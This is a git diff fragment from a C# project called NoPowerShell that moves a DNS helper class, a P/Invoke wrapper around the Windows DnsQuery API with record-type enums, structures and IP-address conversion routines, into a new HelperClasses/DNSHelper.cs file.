DnsRecordTypes.DNS_TYPE_SOA }, - { "MB", DnsRecordTypes.DNS_TYPE_MB }, - { "MG", DnsRecordTypes.DNS_TYPE_MG }, - { "MR", DnsRecordTypes.DNS_TYPE_MR }, - { "WKS", DnsRecordTypes.DNS_TYPE_WKS }, - { "PTR", DnsRecordTypes.DNS_TYPE_PTR }, - { "MX", DnsRecordTypes.DNS_TYPE_MX }, - { "TXT", DnsRecordTypes.DNS_TYPE_TEXT }, - { "RT", DnsRecordTypes.DNS_TYPE_RT }, - { "AAAA", DnsRecordTypes.DNS_TYPE_AAAA }, - { "SRV", DnsRecordTypes.DNS_TYPE_SRV } - }; - - /// - /// Query host based on type - /// - /// Domain to query - /// Query type - /// List of records - public static CommandResult GetRecords(string domain, string type) - { - if (Environment.OSVersion.Platform != PlatformID.Win32NT) - { - throw new NotSupportedException(); - } - - // Identify if IP address has been entered - // In that case, perform a reverse lookup - if (IPAddress.TryParse(domain, out IPAddress ip)) - { - type = "PTR"; - - // IPv6 - if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) - { - // ipv6.google.com = 2a00:1450:400e:80e::200e -> e.0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.e.0.8.0.e.0.0.4.0.5.4.1.0.0.a.2.ip6.arpa - byte[] ipv6_bytes = ip.GetAddressBytes(); - StringBuilder sb = new StringBuilder(72); - for (int i = ipv6_bytes.Length - 1; i >= 0; i--) - { - byte currentByte = ipv6_bytes[i]; - byte lo = (byte)(currentByte & 0x0F); - byte hi = (byte)(currentByte >> 4); - sb.AppendFormat("{0:x}.{1:x}.", lo, hi); - } - sb.Append("ip6.arpa"); - domain = sb.ToString(); - } - // IPv4 - else - domain = string.Format("{0}.in-addr.arpa", ip); - } - - CommandResult results = new CommandResult(); - object foundType = RecordTypes[type]; - if (foundType == null) - { - string[] types = new string[RecordTypes.Count]; - RecordTypes.Keys.CopyTo(types, 0); - throw new NoPowerShellException("Invalid type specified. Specify one of the following: {0}.", string.Join(",", types)); - } - DnsRecordTypes queryType = (DnsRecordTypes)foundType; - - var recordsArray = IntPtr.Zero; - try - { - var result = DnsQuery(ref domain, queryType, DnsQueryOptions.DNS_QUERY_BYPASS_CACHE, IntPtr.Zero, ref recordsArray, IntPtr.Zero); - if (result != 0) - { - throw new Win32Exception(result); - } - - DNS_RECORD record; - for (var recordPtr = recordsArray; !recordPtr.Equals(IntPtr.Zero); recordPtr = record.pNext) - { - record = (DNS_RECORD)Marshal.PtrToStructure(recordPtr, typeof(DNS_RECORD)); - switch (record.wType) - { - case (ushort)DnsRecordTypes.DNS_TYPE_A: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "A" }, - { "IPAddress", ConvertUintToIpAddressString(record.Data.A.IpAddress) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_NS: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "NS" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.NS.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MD: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MD" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MD.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MF: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MF" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MF.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_CNAME: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "CNAME" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.CNAME.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_SOA: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "SOA" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.SOA.pNamePrimaryServer) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MB: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MB" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MB.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MG: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MG" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MG.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MR: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MR" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MR.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_WKS: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "WKS" }, - { "Protocol", ((int)record.Data.WKS.chProtocol).ToString() }, - { "Mask", ((int)record.Data.WKS.BitMask).ToString() }, - { "IPAddress", ConvertUintToIpAddressString(record.Data.WKS.IpAddress) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_PTR: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "PTR" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.PTR.pNameHost) } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_MX: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "MX" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.MX.pNameExchange) }, - { "Preference", record.Data.MX.wPreference.ToString() } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_TEXT: - for (uint i = 0; i < record.Data.TXT.dwStringCount; i++) - { - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "TXT" }, - { "Strings", Marshal.PtrToStringAuto(record.Data.TXT.pStringArray) }, - } - ); - } - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_RT: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "RT" }, - { "NameHost", Marshal.PtrToStringAuto(record.Data.RT.pNameExchange) }, - { "Preference", record.Data.RT.wPreference.ToString() } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_AAAA: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "AAAA" }, - { "IPAddress", ConvertAAAAToIpAddress(record.Data.AAAA).ToString() } - } - ); - break; - - case (ushort)DnsRecordTypes.DNS_TYPE_SRV: - results.Add( - new ResultRecord() - { - { "Name", Marshal.PtrToStringAuto(record.pName) }, - { "Type", "SRV" }, - { "PrimaryServer", Marshal.PtrToStringAuto(record.Data.SRV.pNameTarget) }, - } - ); - break; - - default: - throw new Exception(string.Format("Unknown: %s type %d", record.pName, record.wType)); - } - } - - return results; - } - finally - { - if (recordsArray != IntPtr.Zero) - { - DnsRecordListFree(recordsArray, DNS_FREE_TYPE.DnsFreeFlat); - } - } - } - - /// - /// Provides a DNS query resolution interface - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682016(v=vs.85).aspx - /// - /// A pointer to a string that represents the DNS name to query - /// A value that represents the Resource Record DNS Record Type that is queried - /// A value that contains a bitmap of the DNS Query Options to use in the DNS query - /// Reserved for future use and must be set to NULL - /// A pointer to a pointer that points to the list of RRs that comprise the response - /// Reserved for future use and must be set to NULL - /// Success (0), or the DNS-specific error defined in Winerror.h - [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true, - ExactSpelling = true)] - public static extern int DnsQuery([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrName, DnsRecordTypes wType, - DnsQueryOptions Options, IntPtr pExtra, ref IntPtr ppQueryResultsSet, IntPtr pReserved); - - /// - /// Frees memory allocated for DNS records obtained by using the DnsQuery function - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682021(v=vs.85).aspx - /// - /// A pointer to the DNS_RECORD structure that contains the list of DNS records to be freed - /// A specifier of how the record list should be freed - [DllImport("dnsapi", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void DnsRecordListFree(IntPtr pRecordList, DNS_FREE_TYPE FreeType); - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982162(v=vs.85).aspx - /// - [Flags] - public enum DnsQueryOptions - { - DNS_QUERY_STANDARD = 0x0, - DNS_QUERY_ACCEPT_TRUNCATED_RESPONSE = 0x1, - DNS_QUERY_USE_TCP_ONLY = 0x2, - DNS_QUERY_NO_RECURSION = 0x4, - DNS_QUERY_BYPASS_CACHE = 0x8, - DNS_QUERY_NO_WIRE_QUERY = 0x10, - DNS_QUERY_NO_LOCAL_NAME = 0x20, - DNS_QUERY_NO_HOSTS_FILE = 0x40, - DNS_QUERY_NO_NETBT = 0x80, - DNS_QUERY_WIRE_ONLY = 0x100, - DNS_QUERY_RETURN_MESSAGE = 0x200, - DNS_QUERY_MULTICAST_ONLY = 0x400, - DNS_QUERY_NO_MULTICAST = 0x800, - DNS_QUERY_TREAT_AS_FQDN = 0x1000, - DNS_QUERY_ADDRCONFIG = 0x2000, - DNS_QUERY_DUAL_ADDR = 0x4000, - DNS_QUERY_MULTICAST_WAIT = 0x20000, - DNS_QUERY_MULTICAST_VERIFY = 0x40000, - DNS_QUERY_DONT_RESET_TTL_VALUES = 0x100000, - DNS_QUERY_DISABLE_IDN_ENCODING = 0x200000, - DNS_QUERY_APPEND_MULTILABEL = 0x800000, - DNS_QUERY_RESERVED = unchecked((int)0xF0000000) - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982162(v=vs.85).aspx - /// Also see http://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml - /// - public enum DnsRecordTypes - { - DNS_TYPE_A = 0x1, - DNS_TYPE_NS = 0x2, - DNS_TYPE_MD = 0x3, - DNS_TYPE_MF = 0x4, - DNS_TYPE_CNAME = 0x5, - DNS_TYPE_SOA = 0x6, - DNS_TYPE_MB = 0x7, - DNS_TYPE_MG = 0x8, - DNS_TYPE_MR = 0x9, - DNS_TYPE_NULL = 0xA, - DNS_TYPE_WKS = 0xB, - DNS_TYPE_PTR = 0xC, - DNS_TYPE_HINFO = 0xD, - DNS_TYPE_MINFO = 0xE, - DNS_TYPE_MX = 0xF, - DNS_TYPE_TEXT = 0x10, // This is how it's specified on MSDN - DNS_TYPE_TXT = DNS_TYPE_TEXT, - DNS_TYPE_RP = 0x11, - DNS_TYPE_AFSDB = 0x12, - DNS_TYPE_X25 = 0x13, - DNS_TYPE_ISDN = 0x14, - DNS_TYPE_RT = 0x15, - DNS_TYPE_NSAP = 0x16, - DNS_TYPE_NSAPPTR = 0x17, - DNS_TYPE_SIG = 0x18, - DNS_TYPE_KEY = 0x19, - DNS_TYPE_PX = 0x1A, - DNS_TYPE_GPOS = 0x1B, - DNS_TYPE_AAAA = 0x1C, - DNS_TYPE_LOC = 0x1D, - DNS_TYPE_NXT = 0x1E, - DNS_TYPE_EID = 0x1F, - DNS_TYPE_NIMLOC = 0x20, - DNS_TYPE_SRV = 0x21, - DNS_TYPE_ATMA = 0x22, - DNS_TYPE_NAPTR = 0x23, - DNS_TYPE_KX = 0x24, - DNS_TYPE_CERT = 0x25, - DNS_TYPE_A6 = 0x26, - DNS_TYPE_DNAME = 0x27, - DNS_TYPE_SINK = 0x28, - DNS_TYPE_OPT = 0x29, - DNS_TYPE_DS = 0x2B, - DNS_TYPE_RRSIG = 0x2E, - DNS_TYPE_NSEC = 0x2F, - DNS_TYPE_DNSKEY = 0x30, - DNS_TYPE_DHCID = 0x31, - DNS_TYPE_UINFO = 0x64, - DNS_TYPE_UID = 0x65, - DNS_TYPE_GID = 0x66, - DNS_TYPE_UNSPEC = 0x67, - DNS_TYPE_ADDRS = 0xF8, - DNS_TYPE_TKEY = 0xF9, - DNS_TYPE_TSIG = 0xFA, - DNS_TYPE_IXFR = 0xFB, - DNS_TYPE_AFXR = 0xFC, - DNS_TYPE_MAILB = 0xFD, - DNS_TYPE_MAILA = 0xFE, - DNS_TYPE_ALL = 0xFF, - DNS_TYPE_ANY = 0xFF, - DNS_TYPE_WINS = 0xFF01, - DNS_TYPE_WINSR = 0xFF02, - DNS_TYPE_NBSTAT = DNS_TYPE_WINSR - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682056(v=vs.85).aspx - /// - public enum DNS_FREE_TYPE - { - DnsFreeFlat = 0, - DnsFreeRecordList = 1, - DnsFreeParsedMessageFields = 2 - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682082(v=vs.85).aspx - /// These field offsets could be different depending on endianness and bitness - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_RECORD - { - public IntPtr pNext; // DNS_RECORD* - public IntPtr pName; // string - public ushort wType; - public ushort wDataLength; - public FlagsUnion Flags; - public uint dwTtl; - public uint dwReserved; - public DataUnion Data; - } - - [StructLayout(LayoutKind.Explicit)] - public struct FlagsUnion - { - [FieldOffset(0)] - public uint DW; - [FieldOffset(0)] - public DNS_RECORD_FLAGS S; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682084(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_RECORD_FLAGS - { - internal uint data; - - // DWORD Section :2; - public uint Section - { - get { return data & 0x3u; } - set { data = (data & ~0x3u) | (value & 0x3u); } - } - - // DWORD Delete :1; - public uint Delete - { - get { return (data >> 2) & 0x1u; } - set { data = (data & ~(0x1u << 2)) | (value & 0x1u) << 2; } - } - - // DWORD CharSet :2; - public uint CharSet - { - get { return (data >> 3) & 0x3u; } - set { data = (data & ~(0x3u << 3)) | (value & 0x3u) << 3; } - } - - // DWORD Unused :3; - public uint Unused - { - get { return (data >> 5) & 0x7u; } - set { data = (data & ~(0x7u << 5)) | (value & 0x7u) << 5; } - } - - // DWORD Reserved :24; - public uint Reserved - { - get { return (data >> 8) & 0xFFFFFFu; } - set { data = (data & ~(0xFFFFFFu << 8)) | (value & 0xFFFFFFu) << 8; } - } - } - - [StructLayout(LayoutKind.Explicit)] - public struct DataUnion - { - [FieldOffset(0)] - public DNS_A_DATA A; - [FieldOffset(0)] - public DNS_SOA_DATA SOA, Soa; - [FieldOffset(0)] - public DNS_PTR_DATA PTR, Ptr, NS, Ns, CNAME, Cname, DNAME, Dname, MB, Mb, MD, Md, MF, Mf, MG, Mg, MR, Mr; - [FieldOffset(0)] - public DNS_MINFO_DATA MINFO, Minfo, RP, Rp; - [FieldOffset(0)] - public DNS_MX_DATA MX, Mx, AFSDB, Afsdb, RT, Rt; - [FieldOffset(0)] - public DNS_TXT_DATA HINFO, Hinfo, ISDN, Isdn, TXT, Txt, X25; - [FieldOffset(0)] - public DNS_NULL_DATA Null; - [FieldOffset(0)] - public DNS_WKS_DATA WKS, Wks; - [FieldOffset(0)] - public DNS_AAAA_DATA AAAA; - [FieldOffset(0)] - public DNS_KEY_DATA KEY, Key; - [FieldOffset(0)] - public DNS_SIG_DATA SIG, Sig; - [FieldOffset(0)] - public DNS_ATMA_DATA ATMA, Atma; - [FieldOffset(0)] - public DNS_NXT_DATA NXT, Nxt; - [FieldOffset(0)] - public DNS_SRV_DATA SRV, Srv; - [FieldOffset(0)] - public DNS_NAPTR_DATA NAPTR, Naptr; - [FieldOffset(0)] - public DNS_OPT_DATA OPT, Opt; - [FieldOffset(0)] - public DNS_DS_DATA DS, Ds; - [FieldOffset(0)] - public DNS_RRSIG_DATA RRSIG, Rrsig; - [FieldOffset(0)] - public DNS_NSEC_DATA NSEC, Nsec; - [FieldOffset(0)] - public DNS_DNSKEY_DATA DNSKEY, Dnskey; - [FieldOffset(0)] - public DNS_TKEY_DATA TKEY, Tkey; - [FieldOffset(0)] - public DNS_TSIG_DATA TSIG, Tsig; - [FieldOffset(0)] - public DNS_WINS_DATA WINS, Wins; - [FieldOffset(0)] - public DNS_WINSR_DATA WINSR, WinsR, NBSTAT, Nbstat; - [FieldOffset(0)] - public DNS_DHCID_DATA DHCID; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682044(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_A_DATA - { - public uint IpAddress; // IP4_ADDRESS IpAddress; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682096(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_SOA_DATA - { - public IntPtr pNamePrimaryServer; // string - public IntPtr pNameAdministrator; // string - public uint dwSerialNo; - public uint dwRefresh; - public uint dwRetry; - public uint dwExpire; - public uint dwDefaultTtl; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682080(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_PTR_DATA - { - public IntPtr pNameHost; // string - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682067(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_MINFO_DATA - { - public IntPtr pNameMailbox; // string - public IntPtr pNameErrorsMailbox; // string - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682070(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_MX_DATA - { - public IntPtr pNameExchange; // string - public ushort wPreference; - public ushort Pad; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682109(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_TXT_DATA - { - public uint dwStringCount; - public IntPtr pStringArray; // PWSTR pStringArray[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682074(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_NULL_DATA - { - public uint dwByteCount; - public IntPtr Data; // BYTE Data[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682120(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_WKS_DATA - { - public uint IpAddress; // IP4_ADDRESS IpAddress; - public byte chProtocol; // UCHAR chProtocol; - public IntPtr BitMask; // BYTE BitMask[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682035(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_AAAA_DATA - { - // IP6_ADDRESS Ip6Address; - // DWORD IP6Dword[4]; - // This isn't ideal, but it should work without using the fixed and unsafe keywords - public uint Ip6Address0; - public uint Ip6Address1; - public uint Ip6Address2; - public uint Ip6Address3; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682061(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_KEY_DATA - { - public ushort wFlags; - public byte chProtocol; - public byte chAlgorithm; - public IntPtr Key; // BYTE Key[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682094(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_SIG_DATA - { - public IntPtr pNameSigner; // string - public ushort wTypeCovered; - public byte chAlgorithm; - public byte chLabelCount; - public uint dwOriginalTtl; - public uint dwExpiration; - public uint dwTimeSigned; - public ushort wKeyTag; - public ushort Pad; - public IntPtr Signature; // BYTE Signature[1]; - } - - public const int DNS_ATMA_MAX_ADDR_LENGTH = 20; - public const int DNS_ATMA_FORMAT_E164 = 1; - public const int DNS_ATMA_FORMAT_AESA = 2; - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682041(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_ATMA_DATA - { - public byte AddressType; - // BYTE Address[DNS_ATMA_MAX_ADDR_LENGTH]; - // This isn't ideal, but it should work without using the fixed and unsafe keywords - public byte Address0; - public byte Address1; - public byte Address2; - public byte Address3; - public byte Address4; - public byte Address5; - public byte Address6; - public byte Address7; - public byte Address8; - public byte Address9; - public byte Address10; - public byte Address11; - public byte Address12; - public byte Address13; - public byte Address14; - public byte Address15; - public byte Address16; - public byte Address17; - public byte Address18; - public byte Address19; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682076(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_NXT_DATA - { - public IntPtr pNameNext; // string - public ushort wNumTypes; - public IntPtr wTypes; // WORD wTypes[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682097(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_SRV_DATA - { - public IntPtr pNameTarget; // string - public ushort uPriority; - public ushort wWeight; - public ushort wPort; - public ushort Pad; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982164(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_NAPTR_DATA - { - public ushort wOrder; - public ushort wPreference; - public IntPtr pFlags; // string - public IntPtr pService; // string - public IntPtr pRegularExpression; // string - public IntPtr pReplacement; // string - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392298(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_OPT_DATA - { - public ushort wDataLength; - public ushort wPad; - public IntPtr Data; // BYTE Data[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392296(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_DS_DATA - { - public ushort wKeyTag; - public byte chAlgorithm; - public byte chDigestType; - public ushort wDigestLength; - public ushort wPad; - public IntPtr Digest; // BYTE Digest[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392301(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_RRSIG_DATA - { - public IntPtr pNameSigner; // string - public ushort wTypeCovered; - public byte chAlgorithm; - public byte chLabelCount; - public uint dwOriginalTtl; - public uint dwExpiration; - public uint dwTimeSigned; - public ushort wKeyTag; - public ushort Pad; - public IntPtr Signature; // BYTE Signature[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392297(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_NSEC_DATA - { - public IntPtr pNextDomainName; // string - public ushort wTypeBitMapsLength; - public ushort wPad; - public IntPtr TypeBitMaps; // BYTE TypeBitMaps[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392295(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_DNSKEY_DATA - { - public ushort wFlags; - public byte chProtocol; - public byte chAlgorithm; - public ushort wKeyLength; - public ushort wPad; - public IntPtr Key; // BYTE Key[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682104(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_TKEY_DATA - { - public IntPtr pNameAlgorithm; // string - public IntPtr pAlgorithmPacket; // PBYTE (which is BYTE*) - public IntPtr pKey; // PBYTE (which is BYTE*) - public IntPtr pOtherData; // PBYTE (which is BYTE*) - public uint dwCreateTime; - public uint dwExpireTime; - public ushort wMode; - public ushort wError; - public ushort wKeyLength; - public ushort wOtherLength; - public byte cAlgNameLength; // UCHAR cAlgNameLength; - public int bPacketPointers; // BOOL bPacketPointers; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682106(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_TSIG_DATA - { - public IntPtr pNameAlgorithm; // string - public IntPtr pAlgorithmPacket; // PBYTE (which is BYTE*) - public IntPtr pSignature; // PBYTE (which is BYTE*) - public IntPtr pOtherData; // PBYTE (which is BYTE*) - public long i64CreateTime; - public ushort wFudgeTime; - public ushort wOriginalXid; - public ushort wError; - public ushort wSigLength; - public ushort wOtherLength; - public byte cAlgNameLength; // UCHAR cAlgNameLength; - public int bPacketPointers; // BOOL bPacketPointers; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682114(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_WINS_DATA - { - public uint dwMappingFlag; - public uint dwLookupTimeout; - public uint dwCacheTimeout; - public uint cWinsServerCount; - public uint WinsServers; // IP4_ADDRESS WinsServers[1]; - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682113(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_WINSR_DATA - { - public uint dwMappingFlag; - public uint dwLookupTimeout; - public uint dwCacheTimeout; - public IntPtr pNameResultDomain; // string - } - - /// - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/dd392294(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - public struct DNS_DHCID_DATA - { - public uint dwByteCount; - public IntPtr DHCID; // BYTE DHCID[1]; - } - - /// - /// Converts an unsigned int to an ip address object - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/cc982163(v=vs.85).aspx - /// - /// The unsigned int to convert to an ip address object - /// The converted ip address - public static IPAddress ConvertUintToIpAddress(uint ipAddress) - { - // x86 is in little endian - // Network byte order (what the IPAddress object requires) is big endian - // Ex - 0x7F000001 is 127.0.0.1 - var addressBytes = new byte[4]; - addressBytes[3] = (byte)((ipAddress & 0xFF000000u) >> 24); - addressBytes[2] = (byte)((ipAddress & 0x00FF0000u) >> 16); - addressBytes[1] = (byte)((ipAddress & 0x0000FF00u) >> 8); - addressBytes[0] = (byte)(ipAddress & 0x000000FFu); - return new IPAddress(addressBytes); - } - - public static string ConvertUintToIpAddressString(uint ipAddress) - { - return ConvertUintToIpAddress(ipAddress).ToString(); - } - - /// - /// Converts the data from the AAAA record into an ip address object - /// See http://msdn.microsoft.com/en-us/library/windows/desktop/ms682140(v=vs.85).aspx - /// - /// The AAAA record to convert - /// The converted ip address - public static IPAddress ConvertAAAAToIpAddress(DNS_AAAA_DATA data) - { - var addressBytes = new byte[16]; - addressBytes[0] = (byte)(data.Ip6Address0 & 0x000000FF); - addressBytes[1] = (byte)((data.Ip6Address0 & 0x0000FF00) >> 8); - addressBytes[2] = (byte)((data.Ip6Address0 & 0x00FF0000) >> 16); - addressBytes[3] = (byte)((data.Ip6Address0 & 0xFF000000) >> 24); - addressBytes[4] = (byte)(data.Ip6Address1 & 0x000000FF); - addressBytes[5] = (byte)((data.Ip6Address1 & 0x0000FF00) >> 8); - addressBytes[6] = (byte)((data.Ip6Address1 & 0x00FF0000) >> 16); - addressBytes[7] = (byte)((data.Ip6Address1 & 0xFF000000) >> 24); - addressBytes[8] = (byte)(data.Ip6Address2 & 0x000000FF); - addressBytes[9] = (byte)((data.Ip6Address2 & 0x0000FF00) >> 8); - addressBytes[10] = (byte)((data.Ip6Address2 & 0x00FF0000) >> 16); - addressBytes[11] = (byte)((data.Ip6Address2 & 0xFF000000) >> 24); - addressBytes[12] = (byte)(data.Ip6Address3 & 0x000000FF); - addressBytes[13] = (byte)((data.Ip6Address3 & 0x0000FF00) >> 8); - addressBytes[14] = (byte)((data.Ip6Address3 & 0x00FF0000) >> 16); - addressBytes[15] = (byte)((data.Ip6Address3 & 0xFF000000) >> 24); - - return new IPAddress(addressBytes); - } - } -} +} \ No newline at end of file diff --git a/Source/NoPowerShell/HelperClasses/DNSHelper.cs b/Source/NoPowerShell/HelperClasses/DNSHelper.cs new file mode 100644 index 0000000..bb00542 --- /dev/null +++ b/Source/NoPowerShell/HelperClasses/DNSHelper.cs @@ -0,0 +1,967 @@ +using System; +using System.Collections; +using System.ComponentModel; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + // - Main source: https://www.pinvoke.net/default.aspx/dnsapi.DnsQuery + // - Struct DNS_RECORD: https://github.com/MichaCo/DnsClient.NET/blob/dev/samples/MiniDig/Interop.DnsQuery.cs + // - Because included DNS_RECORD didn't work on x64 + // - Source for switch/case statement: https://www.codeproject.com/Articles/21246/DNS-Query-MFC-based-Application + public class DnsHelper + { + public static readonly Hashtable RecordTypes = new Hashtable(StringComparer.InvariantCultureIgnoreCase) + { + { "A", DnsRecordTypes.DNS_TYPE_A }, + { "NS", DnsRecordTypes.DNS_TYPE_NS }, + { "MD", DnsRecordTypes.DNS_TYPE_MD }, + { "MF", DnsRecordTypes.DNS_TYPE_MF }, + { "CNAME", DnsRecordTypes.DNS_TYPE_CNAME }, + { "SOA", DnsRecordTypes.DNS_TYPE_SOA }, + { "MB", DnsRecordTypes.DNS_TYPE_MB }, + { "MG", DnsRecordTypes.DNS_TYPE_MG }, + { "MR", DnsRecordTypes.DNS_TYPE_MR }, + { "WKS", DnsRecordTypes.DNS_TYPE_WKS }, + { "PTR", DnsRecordTypes.DNS_TYPE_PTR }, + { "MX", DnsRecordTypes.DNS_TYPE_MX }, + { "TXT", DnsRecordTypes.DNS_TYPE_TEXT }, + { "RT", DnsRecordTypes.DNS_TYPE_RT }, + { "AAAA", DnsRecordTypes.DNS_TYPE_AAAA }, + { "SRV", DnsRecordTypes.DNS_TYPE_SRV } + }; + + /// + /// Query host based on type + /// 